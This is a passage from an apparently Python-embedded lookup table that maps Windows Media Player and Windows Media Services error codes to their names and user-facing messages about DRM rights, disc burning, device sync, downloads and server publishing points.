again.\"),\n        0xC00D11A9: (\"NS_E_WMP_WMDM_NORIGHTS\", \"Windows Media Player cannot sync the file because the content provider or device prohibits it. You might be able to resolve this problem by going to the content provider's online store to get sync rights.\"),\n        0xC00D11AA: (\"NS_E_WMP_WMDM_INCORRECT_RIGHTS\", \"The content provider has not granted you the right to sync this file. Go to the content provider's online store to get sync rights.\"),\n        0xC00D11AB: (\"NS_E_WMP_IMAPI_GENERIC\", \"Windows Media Player cannot burn the files to the CD. Verify that the disc is clean and not damaged. If necessary, select a slower recording speed or try a different brand of blank discs.\"),\n        0xC00D11AD: (\"NS_E_WMP_IMAPI_DEVICE_NOTPRESENT\", \"Windows Media Player cannot burn the files. Verify that the burner is connected properly, and then try again.\"),\n        0xC00D11AE: (\"NS_E_WMP_IMAPI_DEVICE_BUSY\", \"Windows Media Player cannot burn the files. Verify that the burner is connected properly and that the disc is clean and not damaged. If the burner is already in use, wait until the current task finishes or quit other programs that might be using the burner.\"),\n        0xC00D11AF: (\"NS_E_WMP_IMAPI_LOSS_OF_STREAMING\", \"Windows Media Player cannot burn the files to the CD.\"),\n        0xC00D11B0: (\"NS_E_WMP_SERVER_UNAVAILABLE\", \"Windows Media Player cannot play the file. The server might not be available or there might be a problem with your network or firewall settings.\"),\n        0xC00D11B1: (\"NS_E_WMP_FILE_OPEN_FAILED\", \"Windows Media Player encountered a problem while playing the file. For additional assistance, click Web Help.\"),\n        0xC00D11B2: (\"NS_E_WMP_VERIFY_ONLINE\", \"Windows Media Player must connect to the Internet to verify the file's media usage rights. Connect to the Internet, and then try again.\"),\n        0xC00D11B3: (\"NS_E_WMP_SERVER_NOT_RESPONDING\", \"Windows Media Player cannot play the file because a network error occurred. The server might not be available. Verify that you are connected to the network and that your proxy settings are correct.\"),\n        0xC00D11B4: (\"NS_E_WMP_DRM_CORRUPT_BACKUP\", \"Windows Media Player cannot restore your media usage rights because it could not find any backed up rights on your computer.\"),\n        0xC00D11B5: (\"NS_E_WMP_DRM_LICENSE_SERVER_UNAVAILABLE\", \"Windows Media Player cannot download media usage rights because the server is not available (for example, the server might be busy or not online).\"),\n        0xC00D11B6: (\"NS_E_WMP_NETWORK_FIREWALL\", \"Windows Media Player cannot play the file. A network firewall might be preventing the Player from opening the file by using the UDP transport protocol. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \\\"http:\\\").\"),\n        0xC00D11B7: (\"NS_E_WMP_NO_REMOVABLE_MEDIA\", \"Insert the removable media, and then try again.\"),\n        0xC00D11B8: (\"NS_E_WMP_PROXY_CONNECT_TIMEOUT\", \"Windows Media Player cannot play the file because the proxy server is not responding. The proxy server might be temporarily unavailable or your Player proxy settings might not be valid.\"),\n        0xC00D11B9: (\"NS_E_WMP_NEED_UPGRADE\", \"To play the file, you might need to install a later version of Windows Media Player. On the Help menu, click Check for Updates, and then follow the instructions. For additional assistance, click Web Help.\"),\n        0xC00D11BA: (\"NS_E_WMP_AUDIO_HW_PROBLEM\", \"Windows Media Player cannot play the file because there is a problem with your sound device. There might not be a sound device installed on your computer, it might be in use by another program, or it might not be functioning properly.\"),\n        0xC00D11BB: (\"NS_E_WMP_INVALID_PROTOCOL\", \"Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \\\"http:\\\" or \\\"rtsp:\\\").\"),\n        0xC00D11BC: (\"NS_E_WMP_INVALID_LIBRARY_ADD\", \"Windows Media Player cannot add the file to the library because the file format is not supported.\"),\n        0xC00D11BD: (\"NS_E_WMP_MMS_NOT_SUPPORTED\", \"Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \\\"mms:\\\").\"),\n        0xC00D11BE: (\"NS_E_WMP_NO_PROTOCOLS_SELECTED\", \"Windows Media Player cannot play the file because there are no streaming protocols selected. Select one or more protocols, and then try again.\"),\n        0xC00D11BF: (\"NS_E_WMP_GOFULLSCREEN_FAILED\", \"Windows Media Player cannot switch to Full Screen. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try setting Hardware acceleration to Full.\"),\n        0xC00D11C0: (\"NS_E_WMP_NETWORK_ERROR\", \"Windows Media Player cannot play the file because a network error occurred. The server might not be available (for example, the server is busy or not online) or you might not be connected to the network.\"),\n        0xC00D11C1: (\"NS_E_WMP_CONNECT_TIMEOUT\", \"Windows Media Player cannot play the file because the server is not responding. Verify that you are connected to the network, and then try again later.\"),\n        0xC00D11C2: (\"NS_E_WMP_MULTICAST_DISABLED\", \"Windows Media Player cannot play the file because the multicast protocol is not enabled. On the Tools menu, click Options, click the Network tab, and then select the Multicast check box. For additional assistance, click Web Help.\"),\n        0xC00D11C3: (\"NS_E_WMP_SERVER_DNS_TIMEOUT\", \"Windows Media Player cannot play the file because a network problem occurred. Verify that you are connected to the network, and then try again later.\"),\n        0xC00D11C4: (\"NS_E_WMP_PROXY_NOT_FOUND\", \"Windows Media Player cannot play the file because the network proxy server cannot be found. Verify that your proxy settings are correct, and then try again.\"),\n        0xC00D11C5: (\"NS_E_WMP_TAMPERED_CONTENT\", \"Windows Media Player cannot play the file because it is corrupted.\"),\n        0xC00D11C6: (\"NS_E_WMP_OUTOFMEMORY\", \"Your computer is running low on memory. Quit other programs, and then try again.\"),\n        0xC00D11C7: (\"NS_E_WMP_AUDIO_CODEC_NOT_INSTALLED\", \"Windows Media Player cannot play, burn, rip, or sync the file because a required audio codec is not installed on your computer.\"),\n        0xC00D11C8: (\"NS_E_WMP_VIDEO_CODEC_NOT_INSTALLED\", \"Windows Media Player cannot play the file because the required video codec is not installed on your computer.\"),\n        0xC00D11C9: (\"NS_E_WMP_IMAPI_DEVICE_INVALIDTYPE\", \"Windows Media Player cannot burn the files. If the burner is busy, wait for the current task to finish. If necessary, verify that the burner is connected properly and that you have installed the latest device driver.\"),\n        0xC00D11CA: (\"NS_E_WMP_DRM_DRIVER_AUTH_FAILURE\", \"Windows Media Player cannot play the protected file because there is a problem with your sound device. Try installing a new device driver or use a different sound device.\"),\n        0xC00D11CB: (\"NS_E_WMP_NETWORK_RESOURCE_FAILURE\", \"Windows Media Player encountered a network error. Restart the Player.\"),\n        0xC00D11CC: (\"NS_E_WMP_UPGRADE_APPLICATION\", \"Windows Media Player is not installed properly. Reinstall the Player.\"),\n        0xC00D11CD: (\"NS_E_WMP_UNKNOWN_ERROR\", \"Windows Media Player encountered an unknown error. For additional assistance, click Web Help.\"),\n        0xC00D11CE: (\"NS_E_WMP_INVALID_KEY\", \"Windows Media Player cannot play the file because the required codec is not valid.\"),\n        0xC00D11CF: (\"NS_E_WMP_CD_ANOTHER_USER\", \"The CD drive is in use by another user. Wait for the task to complete, and then try again.\"),\n        0xC00D11D0: (\"NS_E_WMP_DRM_NEEDS_AUTHORIZATION\", \"Windows Media Player cannot play, sync, or burn the protected file because a problem occurred with the Windows Media Digital Rights Management (DRM) system. You might need to connect to the Internet to update your DRM components. For additional assistance, click Web Help.\"),\n        0xC00D11D1: (\"NS_E_WMP_BAD_DRIVER\", \"Windows Media Player cannot play the file because there might be a problem with your sound or video device. Try installing an updated device driver.\"),\n        0xC00D11D2: (\"NS_E_WMP_ACCESS_DENIED\", \"Windows Media Player cannot access the file. The file might be in use, you might not have access to the computer where the file is stored, or your proxy settings might not be correct.\"),\n        0xC00D11D3: (\"NS_E_WMP_LICENSE_RESTRICTS\", \"The content provider prohibits this action. Go to the content provider's online store to get new media usage rights.\"),\n        0xC00D11D4: (\"NS_E_WMP_INVALID_REQUEST\", \"Windows Media Player cannot perform the requested action at this time.\"),\n        0xC00D11D5: (\"NS_E_WMP_CD_STASH_NO_SPACE\", \"Windows Media Player cannot burn the files because there is not enough free disk space to store the temporary files. Delete some unneeded files on your hard disk, and then try again.\"),\n        0xC00D11D6: (\"NS_E_WMP_DRM_NEW_HARDWARE\", \"Your media usage rights have become corrupted or are no longer valid. This might happen if you have replaced hardware components in your computer.\"),\n        0xC00D11D7: (\"NS_E_WMP_DRM_INVALID_SIG\", \"The required Windows Media Digital Rights Management (DRM) component cannot be validated. You might be able resolve the problem by reinstalling the Player.\"),\n        0xC00D11D8: (\"NS_E_WMP_DRM_CANNOT_RESTORE\", \"You have exceeded your restore limit for the day. Try restoring your media usage rights tomorrow.\"),\n        0xC00D11D9: (\"NS_E_WMP_BURN_DISC_OVERFLOW\", \"Some files might not fit on the CD. The required space cannot be calculated accurately because some files might be missing duration information. To ensure the calculation is accurate, play the files that are missing duration information.\"),\n        0xC00D11DA: (\"NS_E_WMP_DRM_GENERIC_LICENSE_FAILURE\", \"Windows Media Player cannot verify the file's media usage rights. If you obtained this file from an online store, go to the online store to get the necessary rights.\"),\n        0xC00D11DB: (\"NS_E_WMP_DRM_NO_SECURE_CLOCK\", \"It is not possible to sync because this device's internal clock is not set correctly. To set the clock, select the option to set the device clock on the Privacy tab of the Options dialog box, connect to the Internet, and then sync the device again. For additional assistance, click Web Help.\"),\n        0xC00D11DC: (\"NS_E_WMP_DRM_NO_RIGHTS\", \"Windows Media Player cannot play, burn, rip, or sync the protected file because you do not have the appropriate rights.\"),\n        0xC00D11DD: (\"NS_E_WMP_DRM_INDIV_FAILED\", \"Windows Media Player encountered an error during upgrade.\"),\n        0xC00D11DE: (\"NS_E_WMP_SERVER_NONEWCONNECTIONS\", \"Windows Media Player cannot connect to the server because it is not accepting any new connections. This could be because it has reached its maximum connection limit. Please try again later.\"),\n        0xC00D11DF: (\"NS_E_WMP_MULTIPLE_ERROR_IN_PLAYLIST\", \"A number of queued files cannot be played. To find information about the problem, click the Now Playing tab, and then click the icon next to each file in the List pane.\"),\n        0xC00D11E0: (\"NS_E_WMP_IMAPI2_ERASE_FAIL\", \"Windows Media Player encountered an error while erasing the rewritable CD or DVD. Verify that the CD or DVD burner is connected properly and that the disc is clean and not damaged.\"),\n        0xC00D11E1: (\"NS_E_WMP_IMAPI2_ERASE_DEVICE_BUSY\", \"Windows Media Player cannot erase the rewritable CD or DVD. Verify that the CD or DVD burner is connected properly and that the disc is clean and not damaged. If the burner is already in use, wait until the current task finishes or quit other programs that might be using the burner.\"),\n        0xC00D11E2: (\"NS_E_WMP_DRM_COMPONENT_FAILURE\", \"A Windows Media Digital Rights Management (DRM) component encountered a problem. If you are trying to use a file that you obtained from an online store, try going to the online store and getting the appropriate usage rights.\"),\n        0xC00D11E3: (\"NS_E_WMP_DRM_NO_DEVICE_CERT\", \"It is not possible to obtain device's certificate. Please contact the device manufacturer for a firmware update or for other steps to resolve this problem.\"),\n        0xC00D11E4: (\"NS_E_WMP_SERVER_SECURITY_ERROR\", \"Windows Media Player encountered an error when connecting to the server. The security information from the server could not be validated.\"),\n        0xC00D11E5: (\"NS_E_WMP_AUDIO_DEVICE_LOST\", \"An audio device was disconnected or reconfigured. Verify that the audio device is connected, and then try to play the item again.\"),\n        0xC00D11E6: (\"NS_E_WMP_IMAPI_MEDIA_INCOMPATIBLE\", \"Windows Media Player could not complete burning because the disc is not compatible with your drive. Try inserting a different kind of recordable media or use a disc that supports a write speed that is compatible with your drive.\"),\n        0xC00D11EE: (\"NS_E_SYNCWIZ_DEVICE_FULL\", \"Windows Media Player cannot save the sync settings because your device is full. Delete some unneeded files on your device and then try again.\"),\n        0xC00D11EF: (\"NS_E_SYNCWIZ_CANNOT_CHANGE_SETTINGS\", \"It is not possible to change sync settings at this time. Try again later.\"),\n        0xC00D11F0: (\"NS_E_TRANSCODE_DELETECACHEERROR\", \"Windows Media Player cannot delete these files currently. If the Player is synchronizing, wait until it is complete and then try again.\"),\n        0xC00D11F8: (\"NS_E_CD_NO_BUFFERS_READ\", \"Windows Media Player could not use digital mode to read the CD. The Player has automatically switched the CD drive to analog mode. To switch back to digital mode, use the Devices tab. For additional assistance, click Web Help.\"),\n        0xC00D11F9: (\"NS_E_CD_EMPTY_TRACK_QUEUE\", \"No CD track was specified for playback.\"),\n        0xC00D11FA: (\"NS_E_CD_NO_READER\", \"The CD filter was not able to create the CD reader.\"),\n        0xC00D11FB: (\"NS_E_CD_ISRC_INVALID\", \"Invalid ISRC code.\"),\n        0xC00D11FC: (\"NS_E_CD_MEDIA_CATALOG_NUMBER_INVALID\", \"Invalid Media Catalog Number.\"),\n        0xC00D11FD: (\"NS_E_SLOW_READ_DIGITAL_WITH_ERRORCORRECTION\", \"Windows Media Player cannot play audio CDs correctly because the CD drive is slow and error correction is turned on. To increase performance, turn off playback error correction for this drive.\"),\n        0xC00D11FE: (\"NS_E_CD_SPEEDDETECT_NOT_ENOUGH_READS\", \"Windows Media Player cannot estimate the CD drive's playback speed because the CD track is too short.\"),\n        0xC00D11FF: (\"NS_E_CD_QUEUEING_DISABLED\", \"Cannot queue the CD track because queuing is not enabled.\"),\n        0xC00D1202: (\"NS_E_WMP_DRM_ACQUIRING_LICENSE\", \"Windows Media Player cannot download additional media usage rights until the current download is complete.\"),\n        0xC00D1203: (\"NS_E_WMP_DRM_LICENSE_EXPIRED\", \"The media usage rights for this file have expired or are no longer valid. If you obtained the file from an online store, sign in to the store, and then try again.\"),\n        0xC00D1204: (\"NS_E_WMP_DRM_LICENSE_NOTACQUIRED\", \"Windows Media Player cannot download the media usage rights for the file. If you obtained the file from an online store, sign in to the store, and then try again.\"),\n        0xC00D1205: (\"NS_E_WMP_DRM_LICENSE_NOTENABLED\", \"The media usage rights for this file are not yet valid. To see when they will become valid, right-click the file in the library, click Properties, and then click the Media Usage Rights tab.\"),\n        0xC00D1206: (\"NS_E_WMP_DRM_LICENSE_UNUSABLE\", \"The media usage rights for this file are not valid. If you obtained this file from an online store, contact the store for assistance.\"),\n        0xC00D1207: (\"NS_E_WMP_DRM_LICENSE_CONTENT_REVOKED\", \"The content provider has revoked the media usage rights for this file. If you obtained this file from an online store, ask the store if a new version of the file is available.\"),\n        0xC00D1208: (\"NS_E_WMP_DRM_LICENSE_NOSAP\", \"The media usage rights for this file require a feature that is not supported in your current version of Windows Media Player or your current version of Windows. Try installing the latest version of the Player. If you obtained this file from an online store, contact the store for further assistance.\"),\n        0xC00D1209: (\"NS_E_WMP_DRM_UNABLE_TO_ACQUIRE_LICENSE\", \"Windows Media Player cannot download media usage rights at this time. Try again later.\"),\n        0xC00D120A: (\"NS_E_WMP_LICENSE_REQUIRED\", \"Windows Media Player cannot play, burn, or sync the file because the media usage rights are missing. If you obtained the file from an online store, sign in to the store, and then try again.\"),\n        0xC00D120B: (\"NS_E_WMP_PROTECTED_CONTENT\", \"Windows Media Player cannot play, burn, or sync the file because the media usage rights are missing. If you obtained the file from an online store, sign in to the store, and then try again.\"),\n        0xC00D122A: (\"NS_E_WMP_POLICY_VALUE_NOT_CONFIGURED\", \"Windows Media Player cannot read a policy. This can occur when the policy does not exist in the registry or when the registry cannot be read.\"),\n        0xC00D1234: (\"NS_E_PDA_CANNOT_SYNC_FROM_INTERNET\", \"Windows Media Player cannot sync content streamed directly from the Internet. If possible, download the file to your computer, and then try to sync the file.\"),\n        0xC00D1235: (\"NS_E_PDA_CANNOT_SYNC_INVALID_PLAYLIST\", \"This playlist is not valid or is corrupted. Create a new playlist using Windows Media Player, then sync the new playlist instead.\"),\n        0xC00D1236: (\"NS_E_PDA_FAILED_TO_SYNCHRONIZE_FILE\", \"Windows Media Player encountered a problem while synchronizing the file to the device. For additional assistance, click Web Help.\"),\n        0xC00D1237: (\"NS_E_PDA_SYNC_FAILED\", \"Windows Media Player encountered an error while synchronizing to the device.\"),\n        0xC00D1238: (\"NS_E_PDA_DELETE_FAILED\", \"Windows Media Player cannot delete a file from the device.\"),\n        0xC00D1239: (\"NS_E_PDA_FAILED_TO_RETRIEVE_FILE\", \"Windows Media Player cannot copy a file from the device to your library.\"),\n        0xC00D123A: (\"NS_E_PDA_DEVICE_NOT_RESPONDING\", \"Windows Media Player cannot communicate with the device because the device is not responding. Try reconnecting the device, resetting the device, or contacting the device manufacturer for updated firmware.\"),\n        0xC00D123B: (\"NS_E_PDA_FAILED_TO_TRANSCODE_PHOTO\", \"Windows Media Player cannot sync the picture to the device because a problem occurred while converting the file to another quality level or format. The original file might be damaged or corrupted.\"),\n        0xC00D123C: (\"NS_E_PDA_FAILED_TO_ENCRYPT_TRANSCODED_FILE\", \"Windows Media Player cannot convert the file. The file might have been encrypted by the Encrypted File System (EFS). Try decrypting the file first and then synchronizing it. For information about how to decrypt a file, see Windows Help and Support.\"),\n        0xC00D123D: (\"NS_E_PDA_CANNOT_TRANSCODE_TO_AUDIO\", \"Your device requires that this file be converted in order to play on the device. However, the device either does not support playing audio, or Windows Media Player cannot convert the file to an audio format that is supported by the device.\"),\n        0xC00D123E: (\"NS_E_PDA_CANNOT_TRANSCODE_TO_VIDEO\", \"Your device requires that this file be converted in order to play on the device. However, the device either does not support playing video, or Windows Media Player cannot convert the file to a video format that is supported by the device.\"),\n        0xC00D123F: (\"NS_E_PDA_CANNOT_TRANSCODE_TO_IMAGE\", \"Your device requires that this file be converted in order to play on the device. However, the device either does not support displaying pictures, or Windows Media Player cannot convert the file to a picture format that is supported by the device.\"),\n        0xC00D1240: (\"NS_E_PDA_RETRIEVED_FILE_FILENAME_TOO_LONG\", \"Windows Media Player cannot sync the file to your computer because the file name is too long. Try renaming the file on the device.\"),\n        0xC00D1241: (\"NS_E_PDA_CEWMDM_DRM_ERROR\", \"Windows Media Player cannot sync the file because the device is not responding. This typically occurs when there is a problem with the device firmware. For additional assistance, click Web Help.\"),\n        0xC00D1242: (\"NS_E_INCOMPLETE_PLAYLIST\", \"Incomplete playlist.\"),\n        0xC00D1243: (\"NS_E_PDA_SYNC_RUNNING\", \"It is not possible to perform the requested action because sync is in progress. You can either stop sync or wait for it to complete, and then try again.\"),\n        0xC00D1244: (\"NS_E_PDA_SYNC_LOGIN_ERROR\", \"Windows Media Player cannot sync the subscription content because you are not signed in to the online store that provided it. Sign in to the online store, and then try again.\"),\n        0xC00D1245: (\"NS_E_PDA_TRANSCODE_CODEC_NOT_FOUND\", \"Windows Media Player cannot convert the file to the format required by the device. One or more codecs required to convert the file could not be found.\"),\n        0xC00D1246: (\"NS_E_CANNOT_SYNC_DRM_TO_NON_JANUS_DEVICE\", \"It is not possible to sync subscription files to this device.\"),\n        0xC00D1247: (\"NS_E_CANNOT_SYNC_PREVIOUS_SYNC_RUNNING\", \"Your device is operating slowly or is not responding. Until the device responds, it is not possible to sync again. To return the device to normal operation, try disconnecting it from the computer or resetting it.\"),\n        0xC00D125C: (\"NS_E_WMP_HWND_NOTFOUND\", \"The Windows Media Player download manager cannot function properly because the Player main window cannot be found. Try restarting the Player.\"),\n        0xC00D125D: (\"NS_E_BKGDOWNLOAD_WRONG_NO_FILES\", \"Windows Media Player encountered a download that has the wrong number of files. This might occur if another program is trying to create jobs with the same signature as the Player.\"),\n        0xC00D125E: (\"NS_E_BKGDOWNLOAD_COMPLETECANCELLEDJOB\", \"Windows Media Player tried to complete a download that was already canceled. The file will not be available.\"),\n        0xC00D125F: (\"NS_E_BKGDOWNLOAD_CANCELCOMPLETEDJOB\", \"Windows Media Player tried to cancel a download that was already completed. The file will not be removed.\"),\n        0xC00D1260: (\"NS_E_BKGDOWNLOAD_NOJOBPOINTER\", \"Windows Media Player is trying to access a download that is not valid.\"),\n        0xC00D1261: (\"NS_E_BKGDOWNLOAD_INVALIDJOBSIGNATURE\", \"This download was not created by Windows Media Player.\"),\n        0xC00D1262: (\"NS_E_BKGDOWNLOAD_FAILED_TO_CREATE_TEMPFILE\", \"The Windows Media Player download manager cannot create a temporary file name. This might occur if the path is not valid or if the disk is full.\"),\n        0xC00D1263: (\"NS_E_BKGDOWNLOAD_PLUGIN_FAILEDINITIALIZE\", \"The Windows Media Player download manager plug-in cannot start. This might occur if the system is out of resources.\"),\n        0xC00D1264: (\"NS_E_BKGDOWNLOAD_PLUGIN_FAILEDTOMOVEFILE\", \"The Windows Media Player download manager cannot move the file.\"),\n        0xC00D1265: (\"NS_E_BKGDOWNLOAD_CALLFUNCFAILED\", \"The Windows Media Player download manager cannot perform a task because the system has no resources to allocate.\"),\n        0xC00D1266: (\"NS_E_BKGDOWNLOAD_CALLFUNCTIMEOUT\", \"The Windows Media Player download manager cannot perform a task because the task took too long to run.\"),\n        0xC00D1267: (\"NS_E_BKGDOWNLOAD_CALLFUNCENDED\", \"The Windows Media Player download manager cannot perform a task because the Player is terminating the service. The task will be recovered when the Player restarts.\"),\n        0xC00D1268: (\"NS_E_BKGDOWNLOAD_WMDUNPACKFAILED\", \"The Windows Media Player download manager cannot expand a WMD file. The file will be deleted and the operation will not be completed successfully.\"),\n        0xC00D1269: (\"NS_E_BKGDOWNLOAD_FAILEDINITIALIZE\", \"The Windows Media Player download manager cannot start. This might occur if the system is out of resources.\"),\n        0xC00D126A: (\"NS_E_INTERFACE_NOT_REGISTERED_IN_GIT\", \"Windows Media Player cannot access a required functionality. This might occur if the wrong system files or Player DLLs are loaded.\"),\n        0xC00D126B: (\"NS_E_BKGDOWNLOAD_INVALID_FILE_NAME\", \"Windows Media Player cannot get the file name of the requested download. The requested download will be canceled.\"),\n        0xC00D128E: (\"NS_E_IMAGE_DOWNLOAD_FAILED\", \"Windows Media Player encountered an error while downloading an image.\"),\n        0xC00D12C0: (\"NS_E_WMP_UDRM_NOUSERLIST\", \"Windows Media Player cannot update your media usage rights because the Player cannot verify the list of activated users of this computer.\"),\n        0xC00D12C1: (\"NS_E_WMP_DRM_NOT_ACQUIRING\", \"Windows Media Player is trying to acquire media usage rights for a file that is no longer being used. Rights acquisition will stop.\"),\n        0xC00D12F2: (\"NS_E_WMP_BSTR_TOO_LONG\", \"The parameter is not valid.\"),\n        0xC00D12FC: (\"NS_E_WMP_AUTOPLAY_INVALID_STATE\", \"The state is not valid for this request.\"),\n        0xC00D1306: (\"NS_E_WMP_COMPONENT_REVOKED\", \"Windows Media Player cannot play this file until you complete the software component upgrade. After the component has been upgraded, try to play the file again.\"),\n        0xC00D1324: (\"NS_E_CURL_NOTSAFE\", \"The URL is not safe for the operation specified.\"),\n        0xC00D1325: (\"NS_E_CURL_INVALIDCHAR\", \"The URL contains one or more characters that are not valid.\"),\n        0xC00D1326: (\"NS_E_CURL_INVALIDHOSTNAME\", \"The URL contains a host name that is not valid.\"),\n        0xC00D1327: (\"NS_E_CURL_INVALIDPATH\", \"The URL contains a path that is not valid.\"),\n        0xC00D1328: (\"NS_E_CURL_INVALIDSCHEME\", \"The URL contains a scheme that is not valid.\"),\n        0xC00D1329: (\"NS_E_CURL_INVALIDURL\", \"The URL is not valid.\"),\n        0xC00D132B: (\"NS_E_CURL_CANTWALK\", \"Windows Media Player cannot play the file. If you clicked a link on a web page, the link might not be valid.\"),\n        0xC00D132C: (\"NS_E_CURL_INVALIDPORT\", \"The URL port is not valid.\"),\n        0xC00D132D: (\"NS_E_CURLHELPER_NOTADIRECTORY\", \"The URL is not a directory.\"),\n        0xC00D132E: (\"NS_E_CURLHELPER_NOTAFILE\", \"The URL is not a file.\"),\n        0xC00D132F: (\"NS_E_CURL_CANTDECODE\", \"The URL contains characters that cannot be decoded. The URL might be truncated or incomplete.\"),\n        0xC00D1330: (\"NS_E_CURLHELPER_NOTRELATIVE\", \"The specified URL is not a relative URL.\"),\n        0xC00D1331: (\"NS_E_CURL_INVALIDBUFFERSIZE\", \"The buffer is smaller than the size specified.\"),\n        0xC00D1356: (\"NS_E_SUBSCRIPTIONSERVICE_PLAYBACK_DISALLOWED\", \"The content provider has not granted you the right to play this file. Go to the content provider's online store to get play rights.\"),\n        0xC00D1357: (\"NS_E_CANNOT_BUY_OR_DOWNLOAD_FROM_MULTIPLE_SERVICES\", \"Windows Media Player cannot purchase or download content from multiple online stores.\"),\n        0xC00D1358: (\"NS_E_CANNOT_BUY_OR_DOWNLOAD_CONTENT\", \"The file cannot be purchased or downloaded. The file might not be available from the online store.\"),\n        0xC00D135A: (\"NS_E_NOT_CONTENT_PARTNER_TRACK\", \"The provider of this file cannot be identified.\"),\n        0xC00D135B: (\"NS_E_TRACK_DOWNLOAD_REQUIRES_ALBUM_PURCHASE\", \"The file is only available for download when you buy the entire album.\"),\n        0xC00D135C: (\"NS_E_TRACK_DOWNLOAD_REQUIRES_PURCHASE\", \"You must buy the file before you can download it.\"),\n        0xC00D135D: (\"NS_E_TRACK_PURCHASE_MAXIMUM_EXCEEDED\", \"You have exceeded the maximum number of files that can be purchased in a single transaction.\"),\n        0xC00D135F: (\"NS_E_SUBSCRIPTIONSERVICE_LOGIN_FAILED\", \"Windows Media Player cannot sign in to the online store. Verify that you are using the correct user name and password. If the problem persists, the store may be temporarily unavailable.\"),\n        0xC00D1360: (\"NS_E_SUBSCRIPTIONSERVICE_DOWNLOAD_TIMEOUT\", \"Windows Media Player cannot download this item because the server is not responding. The server might be temporarily unavailable or you may have lost your Internet connection.\"),\n        0xC00D1362: (\"NS_E_CONTENT_PARTNER_STILL_INITIALIZING\", \"Content Partner still initializing.\"),\n        0xC00D1363: (\"NS_E_OPEN_CONTAINING_FOLDER_FAILED\", \"The folder could not be opened. The folder may have been moved or deleted.\"),\n        0xC00D136A: (\"NS_E_ADVANCEDEDIT_TOO_MANY_PICTURES\", \"Windows Media Player could not add all of the images to the file because the images exceeded the 7 megabyte (MB) limit.\"),\n        0xC00D1388: (\"NS_E_REDIRECT\", \"The client redirected to another server.\"),\n        0xC00D1389: (\"NS_E_STALE_PRESENTATION\", \"The streaming media description is no longer current.\"),\n        0xC00D138A: (\"NS_E_NAMESPACE_WRONG_PERSIST\", \"It is not possible to create a persistent namespace node under a transient parent node.\"),\n        0xC00D138B: (\"NS_E_NAMESPACE_WRONG_TYPE\", \"It is not possible to store a value in a namespace node that has a different value type.\"),\n        0xC00D138C: (\"NS_E_NAMESPACE_NODE_CONFLICT\", \"It is not possible to remove the root namespace node.\"),\n        0xC00D138D: (\"NS_E_NAMESPACE_NODE_NOT_FOUND\", \"The specified namespace node could not be found.\"),\n        0xC00D138E: (\"NS_E_NAMESPACE_BUFFER_TOO_SMALL\", \"The buffer supplied to hold namespace node string is too small.\"),\n        0xC00D138F: (\"NS_E_NAMESPACE_TOO_MANY_CALLBACKS\", \"The callback list on a namespace node is at the maximum size.\"),\n        0xC00D1390: (\"NS_E_NAMESPACE_DUPLICATE_CALLBACK\", \"It is not possible to register an already-registered callback on a namespace node.\"),\n        0xC00D1391: (\"NS_E_NAMESPACE_CALLBACK_NOT_FOUND\", \"Cannot find the callback in the namespace when attempting to remove the callback.\"),\n        0xC00D1392: (\"NS_E_NAMESPACE_NAME_TOO_LONG\", \"The namespace node name exceeds the allowed maximum length.\"),\n        0xC00D1393: (\"NS_E_NAMESPACE_DUPLICATE_NAME\", \"Cannot create a namespace node that already exists.\"),\n        0xC00D1394: (\"NS_E_NAMESPACE_EMPTY_NAME\", \"The namespace node name cannot be a null string.\"),\n        0xC00D1395: (\"NS_E_NAMESPACE_INDEX_TOO_LARGE\", \"Finding a child namespace node by index failed because the index exceeded the number of children.\"),\n        0xC00D1396: (\"NS_E_NAMESPACE_BAD_NAME\", \"The namespace node name is invalid.\"),\n        0xC00D1397: (\"NS_E_NAMESPACE_WRONG_SECURITY\", \"It is not possible to store a value in a namespace node that has a different security type.\"),\n        0xC00D13EC: (\"NS_E_CACHE_ARCHIVE_CONFLICT\", \"The archive request conflicts with other requests in progress.\"),\n        0xC00D13ED: (\"NS_E_CACHE_ORIGIN_SERVER_NOT_FOUND\", \"The specified origin server cannot be found.\"),\n        0xC00D13EE: (\"NS_E_CACHE_ORIGIN_SERVER_TIMEOUT\", \"The specified origin server is not responding.\"),\n        0xC00D13EF: (\"NS_E_CACHE_NOT_BROADCAST\", \"The internal code for HTTP status code 412 Precondition Failed due to not broadcast type.\"),\n        0xC00D13F0: (\"NS_E_CACHE_CANNOT_BE_CACHED\", \"The internal code for HTTP status code 403 Forbidden due to not cacheable.\"),\n        0xC00D13F1: (\"NS_E_CACHE_NOT_MODIFIED\", \"The internal code for HTTP status code 304 Not Modified.\"),\n        0xC00D1450: (\"NS_E_CANNOT_REMOVE_PUBLISHING_POINT\", \"It is not possible to remove a cache or proxy publishing point.\"),\n        0xC00D1451: (\"NS_E_CANNOT_REMOVE_PLUGIN\", \"It is not possible to remove the last instance of a type of plug-in.\"),\n        0xC00D1452: (\"NS_E_WRONG_PUBLISHING_POINT_TYPE\", \"Cache and proxy publishing points do not support this property or method.\"),\n        0xC00D1453: (\"NS_E_UNSUPPORTED_LOAD_TYPE\", \"The plug-in does not support the specified load type.\"),\n        0xC00D1454: (\"NS_E_INVALID_PLUGIN_LOAD_TYPE_CONFIGURATION\", \"The plug-in does not support any load types. The plug-in must support at least one load type.\"),\n        0xC00D1455: (\"NS_E_INVALID_PUBLISHING_POINT_NAME\", \"The publishing point name is invalid.\"),\n        0xC00D1456: (\"NS_E_TOO_MANY_MULTICAST_SINKS\", \"Only one multicast data writer plug-in can be enabled for a publishing point.\"),\n        0xC00D1457: (\"NS_E_PUBLISHING_POINT_INVALID_REQUEST_WHILE_STARTED\", \"The requested operation cannot be completed while the publishing point is started.\"),\n        0xC00D1458: (\"NS_E_MULTICAST_PLUGIN_NOT_ENABLED\", \"A multicast data writer plug-in must be enabled in order for this operation to be completed.\"),\n        0xC00D1459: (\"NS_E_INVALID_OPERATING_SYSTEM_VERSION\", \"This feature requires Windows Server 2003, Enterprise Edition.\"),\n        0xC00D145A: (\"NS_E_PUBLISHING_POINT_REMOVED\", \"The requested operation cannot be completed because the specified publishing point has been removed.\"),\n        0xC00D145B: (\"NS_E_INVALID_PUSH_PUBLISHING_POINT_START_REQUEST\", \"Push publishing points are started when the encoder starts pushing the stream. This publishing point cannot be started by the server administrator.\"),\n        0xC00D145C: (\"NS_E_UNSUPPORTED_LANGUAGE\", \"The specified language is not 